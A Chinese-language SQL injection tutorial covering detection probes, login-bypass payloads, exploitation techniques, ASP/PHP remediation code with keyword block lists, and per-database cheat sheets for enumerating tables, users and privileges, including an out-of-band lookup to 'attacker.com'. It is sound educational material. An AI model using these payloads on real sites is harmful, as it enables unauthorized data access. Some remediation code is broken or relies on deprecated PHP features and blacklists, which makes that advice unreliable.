0x01 什么是SQL注入
所谓SQL注入,就是通过把SQL命令插入到WEB表单中提交或者输入到域名参数中传递到后台查询字符串,最终达到欺骗服务器执行的恶意的SQL命令。具体来说,它是利用现有WEB应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照原先的意图去执行SQL语句。
例如
<?php
# 普通的SQL查询语句
id=$GET_['ID'];
sql="select name from students where id="$id"";
普通查询ID就是一个数值,传递过来查询students表下id=$id的name
恶意SQL就是
传递的ID=1 “ union select database() “
然后SQL查询语句就会变为了
sql="select name from students where id= "1" union select database()"
就变成了一个联合查询。
查询数据ID=1且查询数据库的名称。这个过程就是SQL注入
0x011 造成SQL注入漏洞的根本原因:
简单来说: 过于信任用户输入的数据,没有对任何输入的数据进行过滤。(未任何过滤输入数据)
专业点就是: 参数和命令发生混淆
0x02 检测条件
- 被检测的网站具有数据交互的模块
- 涉及到参数提交
例如: http://www.exmaple.com/page.xxx
传递的方式为http://www.exmaple.com/page.xxx?name=value
0x03 检测方法
- 数值型
http://host/test.php?id=100 and 1=1 //返回成功 http://host/test.php?id=100 and 1=2 //返回失败
- 字符型
http://host/test.php?name=rainman ‘ and ‘1’=‘1 //返回成功 http://host/test.php?name=rainman ‘ and ‘1’=‘2 //返回失败 http://host/test.php?name=rainman ‘ and ‘1’=‘2 )) //使用括号进行语句闭合
- 搜索型。搜索型注入:简单的判断搜索型注入漏洞存在不存在的办法是:
```
1)先搜索(‘),如果出错,说明90%存在这个漏洞。
2)然后搜索(%),如果正常返回,说明95%有洞了。
3)然后再搜索一个关键字,比如(2006)吧,正常返回所有2006相关的信息。
4)再搜索(2006%’and 1=1 and ‘%’=’)和(2006%’and 1=2 and ‘%’=’)。
4. 绕过验证(常见的为管理登陆)也称万能密码
用户名输入: ‘or 1=1 or’ 密码:任意
Admin’ – (或’or 1=1 or’ –)(admin or 1=1 –) (MSSQL)(直接输入用户名,不进行密码验证)
用户名输入:admin 密码输入:’ or ‘1’=‘1 也可以
用户名输入:admin’ or ‘a’=’a 密码输入:任意
用户名输入:’ or 1=1 –
用户名输入:admin’ or 1=1 – 密码输入:任意
用户名输入:1’or’1’=’1’or’1’=’1 密码输入:任意
5. 不同的SQL服务器连结字符串的语法不同,比如MS SQL Server使用符号+来连结字符串,而Oracle使用符号||来连结:
http://host/test.jsp?ProdName=Book’ //返回错误
http://host/test.jsp?ProdName=B’+’ook //返回正常
http://host/test.jsp?ProdName=B’||’ook //返回正常说明有SQL注入
如果应用程序已经过滤了’和+等特殊字符,我们仍然可以在输入时过把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查。
注释:大多数数据库系统使用“/*”做为注释,Oracle使用“\-\-”做为注释。
# 0x04 数据库的特征
用于快速的观察数据库是什么类型
1. 观察应用返回的错误信息判断数据库类型。
2. 字符串拼接特点
```SQL
Mysql:’test’ ‘ing’
SQLServer:’test’ + ‘ing’
Oracle:’test’ || ‘ing’
PostgreSQL:’test’ || ‘ing’
0x05 漏洞技术的利用
- 联合查询SQL注入技术:UNION联合多个SQL语句。
- SQL中逻辑判断使用技术:应用在盲注中,例如判断用户名第一个字符是不是“a”。
- 基于错误的注入技术:在SQL注入语句中加入执行函数语句。
- 外连攻击技术:在SQL注入语句中加入外连其他服务器的执行函数,使得连接到其他服务器。
- 延时攻击:注入语句中加入睡眠时间,以此根据响应时间判断猜测正确与否。
- 注释块
(’/* sql */’)
包含一个感叹号标记时(‘/*! sql */’)
,MySQL可以对其进行解析,而其他数据库系统将其作为普通注释块。
更详细的利用
漏洞银行技能树
0x06 盲注
字符串长度:length(str)
基于时间的盲注:sleep()
不用引号实现字符串:CHR(104) || CHR(101) || CHR(108) || CHR(108) //返回字符串的ASCII码值
和以上相反:ASCII(‘r’) || ASCII(’o’) || ASCII(‘t’)
非关系型数据库(NoSQL):NoSQL注入攻击可以在过程语言中执行,而不是在声明式的SQL语言,所以潜在的影响要大于传统的SQL注入。
0x07 修复方案
借 星盟大佬的一句话,任何对数据库的操作的语句都是不可信任的。
推荐使用参数化查询方式进行SQL查询,可以有效防御SQL注入问题
建议在代码中对数字类型的参数先进行数字类型变换,然后再代入到SQL查询语句中,这样任何注入行为都不能成功。并且考虑过滤一些参数,比如get参数和post参数中对于SQL语言查询的部分。
所以防范的时候需要对用户的输入进行检查。特别式一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤。
net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
'
:
"
insert
delete from
drop table
update
truncate
from
%
0x071 如果网站使用的语言为asp或者aspx,则可通过如下几种方式进行修复:
1. Replace过滤字符:解决方法:查找login.asp下的
```java
username=request.Form("name")
pass=request.Form("pass")
修改为:
username=Replace(request.Form("name"), "'", "''")
pass=Replace(request.Form("pass"), "'", "''")
语法是屏蔽'和''字符来达到效果。
```
2. conn.asp 内加入:(前提:登陆页面有)
```java
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
Err_Message = 3
Err_Web = "safe.htm"
//出错时转向的页面
Query_Badword="‘|and|select|update|chr|delete|%20from|;|insert|mid|master.|set|chr(37)|="
//在这部份定义get非法参数,使用"|"号间隔
Form_Badword="‘|(|)|;|="
//在这部份定义post非法参数,使用"|"号间隔
On Error Resume Next
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"|")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "
Case "2"
Response.Write "
Case "3"
Response.Write "
End Select
Response.End
End If
NEXT
NEXT
End if
if request.form<>"" then
Chk_badword=split(Form_Badword,"|")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "
Case "2"
Response.Write "
Case "3"
Response.Write "
End Select
Response.End
End If
NEXT
NEXT
end if
%>
```
3. ASP一般编程上可参考以下代码编程思路,过滤GET/POST请求模块代码:
```java
dim SQL_injdata
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|% |chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),SQL_Inj(SQL_DATA))>0 Then
Response.Write "参数中包含非法字符"
Response.end
end if
next
Next
end if
```
0x072 对于PHP语言编写的网站,大都是和mysql数据库结合的,可通过如下几种方法结合起来防范SQL注入的漏洞:
修改php中默认配置文件php.ini中的配置,来降低sql注入的风险:
参考路径:/usr/local/apache2/conf/php.ini,不同中间件可能位置不一样 修改如下几项: safe_mode = on //开启安全模式 magic_quotes_gpc = On //开启过滤函数 display_errors = Off //禁止错误信息提示 注:把magic_quotes_gpc选项打开,在这种情况下所有的客户端GET和POST的数据都会自动进行addslashes处理, 所以此时对字符串值的SQL注入是不可行的,但要防止对数字值的SQL注入,如用intval()等函数进行处理。但如果你 编写的是通用软件,则需要读取服务器的magic_quotes_gpc后进行相应处理 在GET提交的数据中进行过滤select、update、delete、insert等其他语句。使用正则就构建如下函数: <?php function inject_check($sql_str) { return eregi('select|insert|update|delete|'|) function verify_id($id=null) { if (!$id) { exit('没有提交参数!'); } //是否为空判断 elseif (inject_check($id)) { exit('提交的参数非法!'); } //注射判断 elseif (!is_numeric($id)) { exit('提交的参数非法!'); } //数字判断 $id = intval($id); // 整型化 return $id; } ?> 然后进行对某个参数的过滤: <?php if (inject_check($_GET['id'])) { exit('你提交的数据非法,请检查后重新提交!'); } else { $id = verify_id($_GET['id']); // 这里引用了我们的过滤函数,对$id进行过滤 echo '提交的数据合法,请继续!'; } ?>
在POST提交的数据中,使用函数addslashes()是最终的比较好的方法,构建如下函数:
<?php function str_check( $str ) { if (!get_magic_quotes_gpc()) //判断magic_quotes_gpc是否打开 { $str = addslashes($str); //进行过滤 } $str = str_replace("_", "\_", $str); //把 '_'过滤掉 $str = str_replace("%", "\%", $str); //把' % '过滤掉 return $str; } ?> 对于大批量的数据,修改为如下: <?php function post_check($post) { if (!get_magic_quotes_gpc()) //判断magic_quotes_gpc是否为打开 { $post = addslashes($post); //进行magic_quotes_gpc没有打开的情况对提交数据的过滤 } $post = str_replace("_", "\_", $post); //把 '_'过滤掉 $post = str_replace("%", "\%", $post); //把' % '过滤掉 $post = nl2br($post); //回车转换 $post= htmlspecialchars($post); //html标记转换 return $post; } ?>
对于MySQL用户,可以使用函数mysqli_real_escape_string( ):
<?php $clean = array(); $mysql = array(); $clean['last_name'] = "O'Reilly"; $mysql['last_name'] = mysqli_real_escape_string($clean['last_name']); $sql = "INSERT INTO user (last_name) VALUES ('{$mysql['last_name']}')"; ?>
使用支持参数化查询语句和占位符的数据库操作类(如PEAR::DB, PDO等),如使用PEAR::DB的例子
<?php $sql = 'INSERT INTO user (last_name) VALUES (?)'; $dbh\->query($sql, array($clean['last_name'])); ?>
以上方法结合使用,则可有效的防止在PHP语言网站的SQL注入。
0x073 除此之外,还可以进行对数据库方面进行加固,来防止sql注入的产生:
不要以sysadmin的身份连接数据库。而是使用特定的数据库用户,只具有读取,写入和更新数据库中适当数据的适当特权。此帐户定期检查,确定它所具有的特权。
以安全的方式创建SQL。让数据库来完成创建SQL的工作,而不是在代码中完成。使用参数化SQL语句,同时也能提高查询的效率。
保证数据库用户连接信息非明文保存。
0x08 附各个数据库的注入语句:
注:释义中的’-‘代表和上一个一样,因为一个释义可能有几种形式的SQL语句嘛,下同
0x081 DB2数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | select current server from sysibm.sysdummy1 | - |
所有数据库 | SELECT schemaname FROM syscat.schemata | - |
查询表名 | select name from sysibm.systables | - |
查询列名 | select name, tbname, coltype from sysibm.syscolumns | - |
获取版本 | select versionnumber, version_timestamp from sysibm.sysversions | - |
当前用户 | select user from sysibm.sysdummy1 | - |
- | select session_user from sysibm.sysdummy1 | - |
- | select system_user from sysibm.sysdummy1 | - |
用户权限 | select * from syscat.tabauth | 管理员才能运行 |
- | select * from syscat.dbauth where grantee = 当前用户 | - |
- | select * from syscat.tabauth where grantee = 当前用户 | - |
- | select * from SYSIBM.SYSUSERAUTH | 列出DB2系统权限 |
列出DBA账户 | select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’ | - |
选择第N行 | select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only | - |
选择第N个字符 | SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1 | 返回b |
ASCII值-字符 | select chr(65) from sysibm.sysdummy1 | 返回A |
字符-ASCII值 | select ascii(‘A’) from sysibm.sysdummy1 | 返回65 |
字符串连接 | SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1 | 返回abc |
- | select ‘a’ |
0x082 MySQL数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT database() | - |
所有数据库 | SELECT schema_name FROM information_schema.schemata | 版本>5.0 |
\- | SELECT distinct(db) FROM mysql.db | 管理员权限才可以执行 |
查询表名 | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
查询列名 | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | - |
获取版本 | SELECT @@version | - |
当前用户 | SELECT user() | - |
- | SELECT system_user() | - |
用户权限 | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges | 用户权限 |
- | SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges | 数据库权限 |
- | SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges | 字段的权限 |
列出DBA账户 | SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ | - |
选择第N行 | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 | 行从0开始编号 |
- | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 | 行从0开始编号 |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | 返回c |
ASCII值-字符 | SELECT char(65) | 返回A |
字符-ASCII值 | SELECT ascii(‘A’) | 返回65 |
字符串连接 | SELECT CONCAT(‘A’,’B’) | 返回AB |
- | SELECT CONCAT(‘A’,’B’,’C’) | 返回ABC |
时间睡眠 | SELECT BENCHMARK(1000000,MD5(‘A’)) | - |
- | SELECT SLEEP(5) | 版本>= 5.0.12 |
0x083 Oracle数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT global_name FROM global_name | — |
- | SELECT name FROM v$database | — |
- | SELECT instance_name FROM v$instance | — |
- | SELECT SYS.DATABASE_NAME FROM DUAL | — |
所有数据库 | SELECT DISTINCT owner FROM all_tables | — |
查询表名 | SELECT table_name FROM all_tables | — |
- | SELECT owner, table_name FROM all_tables | — |
查询列名 | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ | — |
- | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’ | — |
获取版本 | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’ | — |
- | SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’ | — |
- | SELECT version FROM v$instance | — |
当前用户 | SELECT user FROM dual | — |
用户权限 | SELECT * FROM session_privs | 当前权限 |
- | SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ | 列出用户的权限 |
列出DBA账户 | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’ | — |
选择第N行 | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 | 第九行 |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) FROM dual | 第3个字符c |
ASCII值-字符 | SELECT chr(65) FROM dual | 返回A |
字符-ASCII值 | SELECT ascii(‘A’) FROM dual | 返回65 |
字符串连接 | SELECT ‘A’ | |
时间睡眠 | SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual | 如果反向查询很慢 |
- | SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual | 如果正向查询很慢 |
0x084 MSSQL数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT DB_NAME() | - |
所有数据库 | SELECT name FROM master..sysdatabases | - |
- | SELECT DB_NAME(N) | N为0,1,2,… |
查询表名 | SELECT name FROM master..sysobjects WHERE xtype = ‘U’ | - |
- | SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’ | - |
查询列名 | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) | 当前数据库 |
- | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’ | 列出master..sometable的列名称 |
获取版本 | SELECT @@version | - |
当前用户 | SELECT user_name() | - |
- | SELECT system_user | - |
- | SELECT user | - |
用户权限 | SELECT permission_name FROM master..fn_my_permissions(null,‘DATABASE’) | 当前数据库权限 |
- | SELECT is_srvrolemember(‘sysadmin’) | 当前用户权限 |
列出DBA账户 | SELECT is_srvrolemember(‘sysadmin’) | 当前用户是否是管理员,是则返回1 |
选择第N行 | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC | 返回第九行 |
选择第N个字符 | SELECT substring(‘abcd’, 3, 1) | 返回c |
ASCII值-字符 | SELECT char(0×41) | 返回A |
字符-ASCII值 | SELECT ascii(‘A’) | 返回65 |
字符串连接 | SELECT ‘A’ + ‘B’ | 返回AB |
时间睡眠 | WAITFOR DELAY ‘0:0:5’ | 睡眠5秒 |
0x085 PostgreSQL数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT current_database() | - |
所有数据库 | SELECT datname FROM pg_database | - |
查询表名 | SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) | - |
查询列名 | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | - |
获取版本 | SELECT version() | - |
当前用户 | SELECT user; | - |
- | SELECT current_user; | - |
- | SELECT session_user; | - |
- | SELECT usename FROM pg_user; | - |
- | SELECT getpgusername(); | - |
用户权限 | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user | - |
列出DBA账户 | SELECT usename FROM pg_user WHERE usesuper IS TRUE | - |
选择第N行 | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 | 从0行开始编号 |
- | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; | - |
选择第N个字符 | SELECT substr(‘abcd’, 3, 1) | 返回c |
ASCII值-字符 | SELECT chr(65) | 返回A |
字符-ASCII值 | SELECT ascii(‘A’) | 返回65 |
字符串连接 | SELECT ‘A’ | |
时间睡眠 | SELECT pg_sleep(10) | 睡眠10秒 |
- | SELECT sleep(10) | 创建自定义睡眠 |
0x086 Ingres数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | select dbmsinfo(‘database’); | - |
所有数据库 | SELECT name FROM iidatabase | 连接到数据库 |
查询表名 | select table_name, table_owner from iitables; | - |
- | select relid, relowner, relloc from iirelation; | - |
- | select relid, relowner, relloc from iirelation where relowner != ‘$ingres’; | - |
查询列名 | select column_name, column_datatype, table_name, table_owner from iicolumns; | - |
获取版本 | select dbmsinfo(‘_version’) | - |
当前用户 | select dbmsinfo(‘session_user’) | - |
- | select dbmsinfo(‘system_user’) | - |
用户权限 | select dbmsinfo(‘db_admin’) | - |
- | select dbmsinfo(‘create_table’) | - |
- | select dbmsinfo(‘create_procedure’) | - |
- | select dbmsinfo(‘security_priv’) | - |
- | select dbmsinfo(‘select_syscat’) | - |
选择第N行 | select first 10 blah form table | 选择前10位的表 |
选择第N个字符 | select substr(‘abc’, 2, 1) | 返回b |
ASCII值-字符 | - | - |
字符-ASCII值 | - | - |
字符串连接 | select ‘abc’ | |
时间睡眠 | - | - |
0x087 Infomix数据库
释义 | SQL语句 | 其他 |
---|---|---|
当前数据库 | SELECT DBSERVERNAME FROM systables where tabid = 1 | - |
所有数据库 | select name, owner from sysdatabases; | - |
查询表名 | select tabname, owner FROM systables; | - |
- | select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid; | - |
查询列名 | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; | - |
获取版本 | SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1 | - |
- | SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1 | - |
当前用户 | SELECT USER FROM systables WHERE tabid = 1 | - |
- | select CURRENT_ROLE FROM systables WHERE tabid = 1 | - |
用户权限 | select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid | 哪些用户可以访问哪些程序 |
选择第N行 | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc | 选择第10行 |
选择第N个字符 | SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1 | 返回C |
ASCII值-字符 | - | - |
字符-ASCII值 | select ascii(‘A’) from systables where tabid = 1 | 返回65 |
字符串连接 | SELECT ‘A’ | |
- | SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1 | 返回AB |
时间睡眠 | - | - |